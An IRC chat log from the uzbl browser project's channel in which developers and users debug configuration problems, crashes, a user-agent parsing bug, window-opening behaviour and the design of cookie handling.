20:28 < Dieterbe> what does that do?
20:29 < dxdx> ui=1 is like clicking "older version", and labs=0 disables gmail labs (which is only available in ui 2, anyway)
20:30 < dxdx> it doesn't seem to complain that way, but the older version is slightly uglier :P
20:30 < Dieterbe> :)
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20:38 < MarSoft_> hm, gmail works for me... new version...
20:38 < MarSoft_> (ui=2)
20:39 < dxdx> MarSoft_: try going to settings
20:39 < MarSoft_> dxdx: yes, it fails. thx.
20:39 < dxdx> great (?)
20:40 < sscj> I suspect it's a cookie problem, but I'm not betting any money on it
20:41 < dxdx> oh, about cookies, they killed my cpu and top didn't say anything... maybe because a lot of processes that live less than one second are unnoticeable
20:43 < dxdx> (but scripts seem to be just for saving cookies, webkit stores them internally but they are lost after quitting)
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21:22 < uranther> this useragent problem is a bizarre error
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21:40 < holizz> tha: No, I don't think it's at all possible to bind actions to Ctrl-something. At the moment the part that controls keybindings just compares the string from the config file to the character entered, if that makes sense.
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22:23 < uranther> basically, this g_scanner is treating the "1b" as one token and then it throws an error because it doesn't know what that is.. anyone have any ideas? familiar with g_scanner?
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22:59 < dxdx> how do i attach patches to flyspray?
23:04 < holizz> dxdx: Push it to your tree on GitHub and post the URL?
23:05 < dxdx> holizz: i don't have a tree, i'm poor
23:05 < uranther> github is free
23:06 < dxdx> s/poor/lazy/
23:06 < uranther> oh :P
23:07 < dxdx> anyway the register link says "pricing and signup", and that doesn't sound exactly attractive
23:07 < holizz> In that case, upload the patch to a pastie service, and send the URI? Maybe somebody who isn't lazy will push it for you?
23:08 < uranther> holizz, you happen to understand Glib's lexical scanner?
23:09 < bct> dxdx, iirc there's no pressure to pay for GitHub. the only thing you don't get is private repositories
23:10 < holizz> uranther: Hahaha. I've no idea. Point me towards the magicks and I'll give it a shot.
23:11 < uranther> well read what i said above ^
23:11 < uranther> this happens when you do, set useragent=1b and i think any number-letter combo like that
23:11 < uranther> the scanner seems to take both the number and letter as a single token, then puts out G_TOKEN_ERROR ):
23:12 < holizz> Okay, let me just split this stash into whitespace and not-whitespace changes and then I'll get stuck in.
23:15 < uranther> h/o lemme push my changes
23:16 < uranther> http://github.com/uranther/uzbl/commit/472542d39ac6b18ced0926a0997b435b1dc0a0b5
23:17 < uranther> may help
23:19 < uranther> bbl
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23:22 < holizz> Signed-up yet, dxdx?
23:24 < dxdx> holizz: and cloned my repo, i'm reading some guides now
23:27 < holizz> dxdx: Cool. Used git before?
23:28 < dxdx> holizz: never..
23:28 < dxdx> halp, i did "git branch" and i see only "master", where's my experimental?
23:29 < holizz> git branch -a
23:29 < holizz> To show all branchs including local _and_ remotes.
23:29 < gentooer> Tjh_, oops yeah you're right, any letter directly following a number causes it to cut off the user agent
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23:37 < Tjh_> gentooer: lol thats still odd
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23:38 < gentooer> yeah and sometimes instead of just cutting off the string, it will add "libsoup" to the user agent
23:39 < dxdx> holizz: ok, thanks, i think i've done it: http://github.com/dequis/uzbl/commit/97526404f52875d82d584f18420be72fdc300d93
23:40 < holizz> I see what it does, but what's the purpose?
23:41 < dxdx> reading from stdin makes the process stop when it goes to bg
23:41 < dxdx> http://www.uzbl.org/bugs/index.php?do=details&task_id=34
23:42 < holizz> Ah.
23:42 < urnthr> holizz, any luck on the lexical scanner?
23:42 < holizz> Not yet.
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23:43 < urnthr> ok what an "identifier"
23:44 < urnthr> whats*
23:47 < holizz> Possibly a variable?
23:48 < urnthr> :/ the docs don't explain it
23:50 < urnthr> i guess it's a set of characters.. but that doesn't really help me understand how it works
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23:54 < holizz> So what does enable_private in the config do?
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23:57 < sscj> "Private browsing mode prevents WebKit from updating the global history and storing any session information e.g., on-disk cache, as well as suppressing any messages from being printed into the (javascript) console."
23:58 < holizz> Aha.
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00:03 < holizz> Whatever uzbl is doing with that setting, it's still querying cookies.py and history.sh.
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00:26 < Tjh_> can i bring the status bar to the top without editing source?
00:26 < Tjh_> or do i have to dig into source for that
00:27 < holizz> set status_top = 1
00:27 < Tjh_> o ty
00:27 < Tjh_> i thot there was smthg like that
00:31 < holizz> The source == the documentation.
00:33 < Tjh_> o ok
00:33 < Tjh_> hmm it dint work :(
00:33 < Tjh_> set status_top = 1
00:33 < holizz> Oh?
00:34 < Tjh_> o never mind theres a = 0 line after that lol
00:34 < Tjh_> din see ta
00:34 < Tjh_> *that
00:35 < Tjh_> is ther a way to edit current url, like i want to add smthg to current url and go to end result, rather than write it all over again?
00:35 < holizz> I don't think that's possible yet.
00:36 < Tjh_> o ok
00:36 < dxdx> yurl, maybe
00:36 < Tjh_> yea well tht yanks url, but how to edit before put?
00:36 < dxdx> type o, paste, edit
00:36 < sscj> Tjh_: bind O = sh 'echo "keycmd o$6" > "$4"'
00:37 < dxdx> sscj: nice one
00:37 < Tjh_> hmm never thot of tht.. interesting
00:39 < sscj> eventually you should be able to do it with "bind O = keycmd o@uri", I believe
00:40 < Tjh_> ^^^^eventually?
00:40 < sscj> variable expansion currently doesn't work on bind statements
00:41 < Tjh_> hmm that umm doesnt work at all , strange
00:41 < Tjh_> e (the key i used to bind) does nothing
00:41 < holizz> Add a space between the o and the $.
00:41 < Tjh_> aah i see
00:41 < Tjh_> nope
00:41 < Tjh_> still nothing
00:42 < Tjh_> e doesnt even display anything at all, not even in the status bar (usually presing random keys displays it on the bar)
00:42 < sscj> are you sure it got a fifo?
00:42 < holizz> Is shell_cmd set?
00:42 < Tjh_> wat is shell_cmd
00:42 < Tjh_> i get "no such file or directory" error
00:43 < Tjh_> set shell_cmd sh -c
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00:43 < sscj> it should be "set shell_cmd = sh -c"
00:44 < Tjh_> yea
00:44 < Tjh_> set shell_cmd = sh -c
00:44 < Tjh_> sry
00:45 < holizz> set fifo_dir = /tmp
00:45 < Tjh_> yeap
00:46 < sscj> close all instances of uzbl and make sure there aren't any residual uzbl_(fifo|socket)_* files in your fifo_dir
00:47 < Tjh_> yea that was it lol
00:47 < Tjh_> ty
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01:19 < dxdx> Makefile-new-test is sexy
01:20 < dxdx> why isn't it default?
01:20 < holizz> Who knows?
01:21 < dxdx> Dieterbe?
01:22 < holizz> Maybe.
01:22 < holizz> Try this: data:text/html,<a target="_blank" href="http://holizz.com/">hello</a>
01:22 < holizz> Opens two new instances, right?
01:23 < dxdx> i see only one window
01:23 < dxdx> wait, what?
01:24 < holizz> What what?
01:24 < dxdx> i see three windows noww
01:24 < dxdx> *now
01:24 < dxdx> and while killing uzbl: *** glibc detected *** uzbl: munmap_chunk(): invalid pointer: 0x0a0dc730 ***
01:25 < dxdx> ok, i have holizz, holizz, and a "google" which is actually data:
01:26 < holizz> That makes sense.
01:26 < dxdx> it does?
01:27 < dxdx> also, weeaboo
01:27 < holizz> That document has no title, so it would take the title of the last thing it had.
01:27 < holizz> Haha. Yeah.
01:28 < holizz> And opening two instances for target=_blank is the bug.
01:29 < dxdx> as if the signal was connected twice?
01:29 < holizz> Yeah, probably.
01:29 < holizz> Oddly enough, right-clicking and open-in-new-window only opens one new instance.
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01:35 < holizz> Anyway. I should sleep.
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02:28 < seppo0010> guys, where is the default config file looked for?
02:32 < uranther>  /usr/share/uzbl/examples/config/uzbl/config i think
02:33 < seppo0010> isn't there a way to put it in the user home?
02:33 < uranther> it will look in .config/uzbl/config
02:35 < seppo0010> awesome =)
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03:08 < Tjh_> hmm how hard is it gonna be to write a function in uzbl.c  to bring up one of the instances of uzbl into selection?
03:08 < Tjh_> or am i gonna have to do that in my wm?
03:09 < Tjh_> im trying to figure out the best way to do this
03:11 < sscj> what?
03:13 < Tjh_> basically uzbl + dwm == kind of odd combo
03:13 < Tjh_> esp, whn u browse with like 5 or 6 tabs/windows open
03:13 < Tjh_> i dont get enuf screen space for each one, so i like to maximise, but id like to be able to have dmenu driven switch to this uzbl window dealy
03:14 < Tjh_> i managed to get as far as have dmenu output the windowID of the window i want in front...
03:16 < Xappe> musca has a dmenu driven client list menu, maybe you could get some stuff from there?
03:16 < Deepspawn> Tjh_ that's better done on wm side
03:18 < Tjh_> i thot so..
03:28 < Deepspawn> I don't know how it's done in dwm but in awesome I just group all uzbl's in a tag and use my usual bindings to switch focus
03:32 < Tjh_> Deepspawn: umm but there is no way of displaying all of them tho
03:32 < Tjh_> Deepspawn: i CAN *just* display them using bash script ...
03:33 < Tjh_> which is what im doing... w brings up dmenu with all the uzbl windows listed (the titles of them all)...
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04:00 < thedward> you could use wmctrl to bring forth the chosen window
04:01 < Morasique> i just started watching the channel, and saw thedward's comment about wmctrl and thought "this founds familiar", only to realize it's the same conversation i left ~20 hours ago :)
04:02 < Morasique> s/founds/sounds/
04:02 < Tjh_> thedward: my wm does not support wmctrl
04:10 < Tjh_> anyone here use xprop
04:15 < Deepspawn> Tjh_ Ah, Awesome has this fair Layout and Maximized, I switch in between to select
04:15 < Deepspawn> or flip trought them one at a time
04:17 < Morasique> Tjh_: i do
04:20 < Tjh_> hmm never mind got me question answered
04:42 < Tjh_> hmm
04:42 < Tjh_> i cant seem to get xdotool to work in dwm
04:44 < Morasique> that seems to be a recurring theme with dwm
04:45 < Tjh_> uzbl+dwm makes for a relatively bad combo
04:45 < Tjh_> surprisinglly
04:45 < Tjh_> having 10 wiindows open on a tiling WM is terrible
04:45 < Tjh_> you can do anything all the windows are too smll
04:45 < Morasique> i do that all the time; i just have one main window and the rest are along the side
04:46 < Morasique> (standard awesome layout)
04:46 < Tjh_> hmm
04:46 < Morasique> it doesn't surprise me that they're a bad combo; uzbl takes the unix philosophy of leaving window management up to the window manager, while dwm tries to limit its features as much as possible and be simplistic
04:48 < Tjh_> so uzbl leaves it to the wm, dwm leaves it the app, and all in all im screwed
04:48 < Tjh_> unix philosophy is like communism... for it to work, all must follow it
04:48 < Morasique> yeah, that's why it's a bad combo :). does dwm not support making one window the main window?
04:48 < Tjh_> o yea it does
04:48 < Tjh_> remeber awesome = dwm+extra stuf
04:49 < Tjh_> hmm maybe i cud jst do that, i spose... i wonder why i never thot of jst making the master size larger
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05:06 < Morasique> anybody here who's also on reddit, feel free to up-vote this: http://www.reddit.com/r/programming/comments/8rf4b/help_reddit_celebrate_1_year_of_open_source_by/c0a7edq
05:07 < scp1> Anyone here using stump in combo with uzbl?
05:09 < Tjh_> stump?
05:09 < Tjh_> this guy in #archlinux jst answered his own question back to me
05:09 < scp1> stumpwm
05:09 < Tjh_> he asked me a question and then answered it back to me
05:09 < Tjh_> :s
05:09 < Tjh_> o ok
05:09 < Tjh_> kool
05:10 < scp1> I'm trying to find some way to open uzbl on a specific location when trying to open url's here in irssi... preferably on monitor #2 :<
05:12 < Tjh_> uzbl --uri <blah>
05:13 < scp1> I'm talking about the physical position of uzbl
05:13 < Morasique> i know how to do it in awesome :). never used stump
05:13 < scp1> wish I knew clisp well enough
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06:41 < Tjh_> uumm uzbl crashes on html5 video sites, is it sposed to?
06:42 < Tjh_> scp1: u cud use xdotool
06:43 < Morasique> Tjh_: yes, it's a feature many users have requested
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06:46 < Tjh_> Morasique: eh? its *supposed* to crash?
06:46 < Tjh_> why wud u want it to crash?
06:46 < Morasique> Tjh_: i was kidding
06:46 < Tjh_> o ok
06:46 < Tjh_> lol
06:46 < Tjh_> anyways, i thot webkit supported html5 no?
06:46 < bobpaul> yes
06:46 < Morasique> what site is crashing it?
06:47 < bobpaul> I tested the new html5 video tag using uzbl about a week ago
06:47 < Tjh_> and..
06:47 < bobpaul> it worked
06:47 < Tjh_> Morasique: ok gimme a site that uses html5 video
06:47 < bobpaul> I think it was a google site.. your results may vary based on the codec the site uses
06:48 < Morasique> wait, what? i just asked you for a link, i have no idea what sites do
06:48 < bobpaul> Morasique: I think he got use confused
06:48 < Morasique> ah, i see
06:49 < Tjh_> bobpaul: o i see
06:49 < Morasique> well, my question remains unanswered, so i can't test anything :)
06:50 < Tjh_> http://www.youtube.com/html5
06:50 < Tjh_> crashes here
06:51 < Morasique> it won't play for me, but it doesn't crash
06:51 < Tjh_> GThread-ERROR **: Trying to recursivly lock a mutex at 'unknown', previously locked at 'unknown'
06:51 < Tjh_> aborting...
06:52 < Morasique> what webkit are you on?
06:53 < Tjh_> hmm
06:53 < Tjh_> that may be waht is wrong lol even FF3 beta doesnt play it
06:54 < Tjh_> GThread-ERROR **: Trying to recursivly lock a mutex at 'unknown', previously locked at 'unknown'
06:54 < bobpaul> ff 3.5 beta only has theroa codec
06:54 < Tjh_> o sry
06:54 < Tjh_> aborting...
06:54 < bobpaul> youtube isn't using theroa (sp?)
06:55 < Tjh_> local/libwebkit 1.1.8.1
06:55 < Tjh_> *1.1.8-1
06:56 < Morasique> ah. i'm still on .7, that might be it. i really need to upgrade, this keeps coming up
06:56 < Morasique> although generally it's in the context of somebody on .8 crashing while i'm not
06:56 < Tjh_> Morasique: what distro u use?
06:56 < Morasique> gentoo
06:57 < Tjh_> kewl
06:59 < Tjh_> the webkit site is terrible...no indication of latest version # anywhere?!!
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07:02 < Tjh_> o i see they dont have version number...only svn tag numbers
07:10 < Tjh_> umm it seems i have webkitgtk installed
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09:31 < Zaba> moin
09:32 < Dieterbe> morning
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10:11 < Dieterbe> 01:19:53 < dxdx> Makefile-new-test is sexy
10:11 < Dieterbe> 01:20:30 < dxdx> why isn't it default?
10:11 < Dieterbe> 01:20:58 < holizz> Who knows?
10:11 < Dieterbe> 01:21:47 < dxdx> Dieterbe?
10:11 < Dieterbe> because it failed for me :P
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10:16 < Dieterbe>  Tjh_> is ther a way to edit current url, like i want to add smthg to current url and go to end result, rather than write it all over again? <-- just press "U" to get a dmenu that shows your history. the last url will be on top where you can edit it and press enter
10:18 < rob|8> morning guys. i'll be away till monday, keep up hacking ;)
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10:19 < Dieterbe> rob|8: ooh that's sad :(
10:19 < Dieterbe> you're going hiking again?
10:19 < rob|8> well, milestone party in braunschweig. need to attend that..
10:20 < Dieterbe> well, have fun ;)
10:21 < rob|8> they also promised us a guided tour through the ptb, i'm eager to see that :)
10:21 < Dieterbe> what's a ptb?
10:21 < rob|8> http://www.ptb.de/index_en.html
10:22 < rob|8> the masters of time ;)
10:24 < Dieterbe> ah, can be interesting indeed
10:24 < Dieterbe> promote open source! ;)
10:24 < rob|8> hehe. i will :)
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10:35 < Frots> morning everyone
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10:41 < holizz> Good morning.
10:42 < Frots> hey holizz
10:43 < tha> morning
10:45 < holizz> What we need is an about:uzbl page. amirite?
10:47 < Dieterbe> a what?
10:48 < tha> how do i load bookmarklets into uzbl? (for example supergenpass.com)
10:48 < holizz> Firefox has its about:mozilla page. And Chrome has an about:something page. We need one. It will ensure our victory over the other browsers.
10:52 < tha> i see that bookmarklets can be included in the config.. but i would like to store it in a seperate file an just call it somehow
10:56 < tha> this is what im trying to load: bind p = script /home/tha/bin/uzbl/supergenpass.js
10:57 < Dieterbe> that should work
11:04 < tha> the bookmarklet works in midori, it should work in uzbl too, right?
11:05 < Dieterbe> euhm.. uzbl only supports plain JS
11:05 < Dieterbe> it might be that midori exposes more JS libraries (isn't that what greasemonkey does?)
11:06 < tha> damn: console message: undefined @1: SyntaxError: Parse error
11:12 < Dieterbe> look. uzbl expects plain, but valid javascript code. that's it
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12:02 < holizz> I made a "source" command. It reads commands from the specified file. So now you can reload the config with bind :config = source /home/holizz/.config/uzbl/config, or split your commands into different files.
12:07 < Dieterbe> holizz: unneeded
12:09 < holizz> Maybe.
12:09 < Dieterbe> bind    !reload   = sh 'cat $1 > $4'
12:10 < Dieterbe> or you could do: bind !reload _ = sh ' cat %s > $4' to load a misc file
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12:10 < holizz> Ah. Clever.
12:11 < Dieterbe> i didn't test the 2nd form, but the first one works for sure
12:11 < Dieterbe> i the 2nd one should be something like that
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13:02 < holizz> http://www.opera.com/freedom/ Put it in your diary, we may have to patch uzbl to become compatible with the New Web.
13:02 < mxey> I thought Google Wave is the future now.
13:04 < hak5fan> What's opera up to?
13:06 < holizz> We'll find out on Tuesday, I guess.
13:07 < Zaba> uh oh
13:07 < Zaba> bloody hyped people thinking they can change something
13:09  * sladegen changes his underwear.
13:09 < haste>  best browser, secure, new browser, fastest, beta
13:09 < haste> nice keywords on that page
13:09 < haste> <!-- We start our little story with the invention of the modern day computer... -->
13:10 < haste> so maybe we'll get a new phoenix?
13:11 < sladegen> 1931 goedel's incompletness theorem?!?!
13:12 < holizz> They're going to release a browser that works on a TTY?
13:13 < scp1> Most browser allready do
13:13 < sladegen> tty is late invention...
13:13 < haste> maybe they will release a browser
13:13 < sladegen> computerwise
13:13 < holizz> I mean, an actual TTY, with a printer and a keyboard.
13:13 < haste> .. which just is a browser
13:13 < scp1> maybe they'll relase the whole thing as open source!
13:13 < haste> and not a bloated monster that eats other applications like... opera does
13:13 < scp1> ... or maybe not.
13:14 < haste> they want to do that tho'
13:14 < haste> maybe they'll release the engine they use
13:14 < haste> as OS
13:14 < haste> but the keywords make it seem like it's a new browser project
13:14 < holizz> The keywords are all carefully-crafted lies to make you think that.
13:14 < Zaba> maybe they'll make opera non-bloated
13:14 < Zaba> and think they're new with that
13:15 < scp1> holizz; you should know, you almost work at opera, right? ;)
13:15 < Zaba> now that they say they will change the web, everyone will mostly ignore them
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13:16 < holizz> Yeah, just as soon as they realise how awesome I actually am, they'll hire me straight away.
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13:16 < scp1> xD
13:16 < sladegen> does opera have bigger market share than firefox even?
13:16 < haste> guess I should poke someone that actually works over at opera
13:16 < haste> sladegen: nope
13:16 < haste> opera is just above chrome or so
13:16 < haste> or just below
13:17 < haste> they are large on cell phones tho'
13:17 < Zaba> uzbl is chrome without v8 and a load of useless crap
13:17  * sladegen thought so, qed.
13:17 < sladegen> so at least it looks like they have nothing to lose... heh.
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14:23 < holizz> Anybody here going to EuroPython this year? We could do an uzbl sprint.
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14:24 < Dieterbe> not me holizz , where are you from btw?
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14:26 < holizz> The UK. Just a couple of hours on the train for me, as it's in Birmingham this year.
14:27 < uranther> :P Dieterbe looks like you have a choice of keycmd_bs() fixes.. kmeaw looks like a cleaner fix than mine..
14:28 < Dieterbe> uranther: hm? yours was already pretty clean
14:29 < uranther> oh ok heh
14:30 < uranther> this newest patch on the mailing list looks pretty crazy
14:30 < Dieterbe> uranther: yours was just a few lines, no? this was the utf8 thing to fix the segfault on multibyte char backspacing, right?
14:31 < uranther> yep
14:31 < uranther> i'm referring to http://github.com/kmeaw/uzbl/commit/1b3399fc78549bb54cde385e63518e70e504b90c
14:32 < Dieterbe> i'll compare the patches tonight and merge one of them
14:33 < uranther> i think prev should be free()'d though
14:36 < uranther> i couldn't figure out the problem with expand_template() having trouble with "1b" and any number-letter combo like that
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14:39 < uranther> http://www.uzbl.org/bugs/index.php?do=details&task_id=38
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18:54 < DuClare> g20
18:54 < DuClare> Foo
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19:07 < barrucadu> My exams are over :D
19:08 < barrucadu> Wow, 76 people
19:08 < barrucadu> @peak
19:08 < dev_null> barrucadu: obama set a record of 83 people in #uzbl on June 09, 2009 at 03:41 PM CET. You'll need 8 more people to break the peak.
19:09 < scj> obama to the rescue
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19:35 < dxdx> yesterday holizz reported here a bug with two instances opening when the link has target _blank (instead of one) in a data: url, i can confirm it happens with any url (happened to me in a 4chon)
19:36 < Deepspawn> I can confirm it too
19:36 < MarSoft_> +1
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19:40 < dxdx> oh, nevermind, there's a ticket FS#16
19:40 < dxdx> it was buried in the second page of flyspray
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19:50 < Dieterbe> uranther: in kwmeaws fix:
19:50 < Dieterbe> prev = g_utf8_find_prev_char(uzbl.state.keycmd->str, uzbl.state.keycmd->str + uzbl.state.keycmd->len);
19:50 < Dieterbe> any idea why he adds a string to its length?
19:51 < dxdx> Dieterbe: search backwards?
19:51 < Dieterbe> dxdx: huh?
19:51 < dxdx> Dieterbe: search starting from the end of the string
19:52 < dxdx> (just guessing, i don't know how that function works)
19:52 < Dieterbe> the function expects a const gchar *p as arg2
19:52 < Dieterbe> oh, now i understand
19:52 < Dieterbe> uzbl.state.keycmd->str is a pointer
19:53 < uranther> yeah that's kind of strange but i think is correct
19:53 < dxdx> weren't all strings pointers?
19:53 < uranther> which all strings?
19:54 < dxdx> C strings
19:54 < dxdx> are char *
19:54 < Dieterbe> yeah nm i understand now. he takes the pointer and adds up to it. makes sense now
19:55 < uranther> GStrings are structs with a gchar * in then as `str'
19:56 < dxdx> oh, and that len, nice
19:56 < uranther> it has another member too
19:56 < uranther> max_len i think
19:57 < uranther> a GString will hold any data, which is nice
19:57 < uranther> no need for null termination
19:57 < dxdx> pretty well-thought
19:57 < uranther> yep
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19:59 < dxdx> hey, what do you think about libsoup internal cookie handling? (soup_cookie_jar_text_new, and there's even sqlite support just to annoy purists)
19:59 < Dieterbe> it annoys me :P
20:00 < dxdx> but what about plain cookies.txt?
20:00 < Dieterbe> that's what we use
20:00 < uranther> Dieterbe, any word on cookies.py working too hard, sotospeak?
20:01 < dxdx> and why not use it directly with libsoup instead of calling an external script?
20:01 < uranther> someone said it was slowing uzbl down
20:01 < Dieterbe> uranther: we just call it too many times
20:02 < eekee> hmm... If I wanted to run many instances of uzbl at once would I have to worry abotu the integrity of cookies.txt? I like plain-text files but... :)
20:02 < dxdx> sqlite is the future (?)
20:02 < uranther> oh ok
20:02 < Dieterbe> eekee: we could do atomic writes to the file
20:04 < eekee> Dieterbe: atomic writes would be required for what I'd like to do with uzbl :)
20:04 < uranther> Dieterbe, interesting
20:04 < dxdx> hmm.. i wonder how libsoup handles that
20:08 < Dieterbe> actually, using the libsoup support for cookies has been proposed by a few people
20:09 < Dieterbe> at first i did not (and still do not) like it because it means giving away control, and doesn't fit right with all the other stuff that we do handle externally
20:09 < ankan> Some control could be kept by exporting control scripts of some kind.
20:10 < Dieterbe> if someone can show me a way to get reasonable levels of control (preferrably by using _some_ external script) together with the libsoup cookie stuff, i'm all ears
20:10 < ankan> Instead of making the handling external you run a script that supply instructions on how to handle the cookie.
20:10 < Dieterbe> exactly
20:11 < ankan> So. What control is required?
20:11 < ankan> Is allow/deny enogh as output?
20:12 < Dieterbe> i think it could also be interesting if the user would be able to manipulate the cookie before it's stored.  but then again probably no one will really use that
20:13 < uranther> there's an extension for that for Firefox
20:13 < uranther> so someone might use it
20:13 < uranther> in such case, i think the cookie should printed to stdout optionally
20:13 < Dieterbe> the input of the script should be the "usual stuff", domain/url/path, supplied cookie, get/put etc
20:14 < ankan> Okay. Let us say we add the function set_cookie?
20:14 < ankan> That takes that very same as input.
20:14 < Dieterbe> so it comes down to, if we use libsoups built-in cookie stuff. can we configure/program it in such a way that it will call an external script, and the script can return a modified cookie/accept/deny
20:15 < ankan> Something like that. But will this improve anything?
20:15 < ankan> From using external all the way.
20:16 < ankan> Since an external program could be written (or exists?) to handle libsoup-cookies.
20:17 < ankan> Might that be another option?
20:17 < dxdx> libsoup seems to support only automatic cookie handling, the only way i can imagine to filter what is saved is to subclass a gobject, and subclassing gobjects isn't exactly nice
20:17 < Dieterbe> ankan> Something like that. But will this improve anything? -> right. no.  libsoup cookies would only be advantageous if we don't need to call so many external processes.  and can we get the same level of control as we already have without calling external processes?
20:18 < Dieterbe> ankan> Since an external program could be written (or exists?) to handle libsoup-cookies. <-- i don't really understand what you mean
20:18 < Dieterbe> i'm going to eat now. see you soon
20:18 < dxdx> Dieterbe: C plugins?
20:18 < dxdx> k
20:18 < ankan> Dieterbe: You create a database app that you push/pull cokkies to/from.
20:19 < Zaba> C plugins would kinda destroy the whole point.
20:20 < dxdx> Zaba: they do? (i was kidding, but didn't see it that seriously)
20:20 < Zaba> Pretty much.  You'd have to write a C plugin that'd run you an external script.  Huh.
20:21 < dxdx> Zaba: i meant, a C plugin with a C function that filters cookies without having to spawn an external script
20:21 < Zaba> Yeah, and I have my favourite script written in shell.  It uses sed and awk a lot.
20:22 < Zaba> Text filtering is not exactly what's done good in C.
20:22 < ankan> What if we allow the external script to be really small?
20:22 < ankan> That might improve things.
20:22 < Zaba> you already can have scripts really small
20:23 < dxdx> anyway, in my local branch i was adding support for libsoup as an alternate method to store cookies, keeping the current way as another option
20:23 < dxdx> that method would still need polishing for performance, what i've thought is to spawn the handler once, and talk through a bidirectional pipe
20:24 < Zaba> that sounds pretty reasonable...
20:28 < scj> how about using the libsoup cookiejar as a "cache"? only query external scripts for permission and/or possible cookie transformation if not already in the jar?
20:29 < dxdx> note that since it requires some synchronous calls between two processes, it might look slower (the gtk main loop is blocked more than with a direct C function call)
20:30 < dxdx> scj: maybe, but that ends up being the same as leaving everything to the external script, that query must be synchronous
20:31 < dxdx> i'm just speculating with the delays, it might be unnoticeable (hope so)
20:36 < dxdx> oh shi- gtg
20:45 < Dieterbe> i guess the biggest latency comes from forking , starting an interpreter and such. the actual execution of a script shouldn't take too long
20:46 < scj> cookie daemon?
20:46 < bct> or maybe it should just be handled by a proxy
20:46 < Dieterbe> or just a script that's launched the first time uzbl needs it and kept open until we stop uzbl
20:46 < bct> since most people are going to end up with one anyhow
20:48 < Dieterbe> hmm. if they can provide the same flexibilty as writing custom scripts..
20:48 < bct> yeah, cookie popen would work too.
20:48  * eekee wishes for plan 9's webcookies filesystem
20:49 < uranther> eekee, you can write a script to use it :>
20:49 < uranther> if we go for that functionality
20:49 < eekee> I could indeed hehe
20:49 < eekee> hmm, uzbl under linuxemu in plan 9 perhaps
20:49 < uranther> i agree tho - poo on libsoup's cookie handler
20:50 < Dieterbe> poo?
20:51 < Dieterbe> as in poop?
20:51 < uranther> yea meng
20:52 < Dieterbe> yeah. calling external scripts always means a little extra delay, but i'm pretty convinced we can make it pretty smooth by using tricks like only one process and such
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20:57 < uranther> Dieterbe, i had this crazy idea of taking all the fifo/socket/stdin/stdout set/bind/etc. code and putting it in a library
20:57 < uranther> it seems like something useful for other programs may want to be controlled in such ways
20:58 < uranther> or maybe there is something similar, already?
20:59 < Dieterbe> too late :) rob already had that idea ;)
20:59 < uranther> lol. so what happened to the idea?
20:59 < Dieterbe> it's not unlikely someone (rob) will attempt doing it
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20:59 < uranther> oh ok
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20:59 < Dieterbe> or you ;)
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21:00 < uranther> imagine it being a subsystem for a multitude of programs
21:00 < Dieterbe> yeah i know
21:00 < Dieterbe> for me it's not urgent though
21:00 < uranther> a simple, flexible way to interface and control programs
21:00 < uranther> of course.
21:00 < uranther> i'll ask him about it :)
21:03 < Dieterbe> k. i'm gonna work a bit on aif again i think :P
21:04 < uranther> cool
21:09 < Xappe> lolib :)
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21:34 < DuClare> lolib :o
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21:40 < Dieterbe> lolib? o_O
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21:49 < dxdx> loli lib?
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21:51 < dxdx> uranther, Dieterbe: so, should i screw this libsoup cookies code and write the popen stuff?
21:52 < Dieterbe> dxdx: basically yes.  since we already have spawn_sync and spawn_async, you may want to make a spawn_keep or something
21:52 < Dieterbe> i think the patch shouldn't be too big
21:53 < Dieterbe> *however* we need to think about how we will delimit responses
21:53 < dxdx> i'd call it popen, it is very different than a spawn
21:53 < bct> we still need something that implements the libsoup cookiejar interface though, right?
21:53 < scj> probably should have spawn and something like run and open
21:53 < scj> or*
21:53 < Dieterbe> if we want to send more then one command to the external process, we need a way to separate the several replies we get back
21:53 < dxdx> bct: the current method somehow avoids libsoup cookies by changing headers manually
21:54 < dxdx> Dieterbe: newlines and commands ftw
21:54 < Dieterbe> maybe something similar like a '----end----\n" will do
21:54 < dxdx> newlines, commands, and payload sizes then
21:54 < bct> dxdx: unless it changed since i last looked, webkit's running the default libsoup cookie handler and we're just overwriting the Cookie header afterward
21:54 < bct> which works, but seems a bit hackish
21:55 < dxdx> bct: yeah, that's what i meant
21:55 < Dieterbe> dxdx> bct: the current method somehow avoids libsoup cookies by changing headers manually <-- actually, we can probably replace our "hackish" approach by writing our own Soupfeature and adding that. you should check holizz' tree. he started working on this
21:55 < dxdx> nice
21:55 < bct> neat-o
21:56 < Dieterbe> it looks like holizz has made some good progress on this, however i didn't try his code yet
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22:01 < Dieterbe> anyway. bedtime for me
22:01 < Dieterbe> see ya
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22:17 < bct> 13:53 < dxdx> bct: the current method somehow avoids libsoup cookies by changing headers manually
22:18 < bct> oops. bloody right-click-to-paste.
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22:44 < dxdx> creating a bi-directional popen is a pain in the ass
22:45 < uranther> isn't that what our socket is for?
22:45 < dxdx> (having done it only in python previously)
22:45 < dxdx> hmmm
22:46 < dxdx> uranther: it's for the cookie handler, i'm not sure if it would work with the socket
22:46 < uranther> indeed
22:46 < uranther> or maybe you can modify it to work?
22:47 < uranther> i see no point in making another socket/fifo
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22:47 < dxdx> well, a bi-directional pipe to a process looks like a natural way to talk to a script
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22:49 < dxdx> but, wait, how would a shell script connect to a unix socket?
22:49 < uranther> dunno.. we have uzblctrl
22:51 < dxdx> hmm, that is ugly in the script side. also it would be harder to query and wait for a reply on the C side
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22:52 < dxdx> suddenly, making a bi-directional popen seems easier
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00:27 < holizz> What do we want to do about new window behaviour? I found the bug that opens two windows on target=_blank, and I'm wondering whether we should open all URIs in the same window unless initiated by the user, have ignoring new window requests an option, or create a new handler to decide.
00:28 < holizz> I'd be happy with a static option to control that behaviour.
00:30 < eekee> I'd like the option
00:30 < eekee> I'd like to be able to manipulate the option per-site (script it)
00:31 < dxdx> holizz: there was a bug for that, FS#16 i believe
00:32 < dxdx> 14:37 < dxdx> oh, nevermind, there's a ticket FS#16
00:32 < dxdx> 14:37 < dxdx> it was buried in the second page of flyspray
00:33 < eekee> aha
00:33 < eekee> hmm
00:33 < dxdx> oh, and we need more flexibility on that, the tabs wrapper needs that
00:34 < eekee> erf
00:34 < holizz> Oh yeah. Not really sure what to do to make the tabs wrapper happy.
00:34 < eekee> if a feature starts requiring "greater flexibility" from a core component, is that feature a good thing?
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00:36 < holizz> Maybe we could just make a new handler for opening new windows. Because at the moment it's just executing uzbl -u xyz.
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00:37 < dxdx> hmm yeah, that would be the best way
00:38 < dxdx> and the default handler would be uzbl -u %s
00:38 < dxdx> s/^/spawn/
00:38 < eekee> there did ought to be a way to open a new window in the same process, to handle websites with windows that interact with each other
00:39 < dxdx> hmm good point
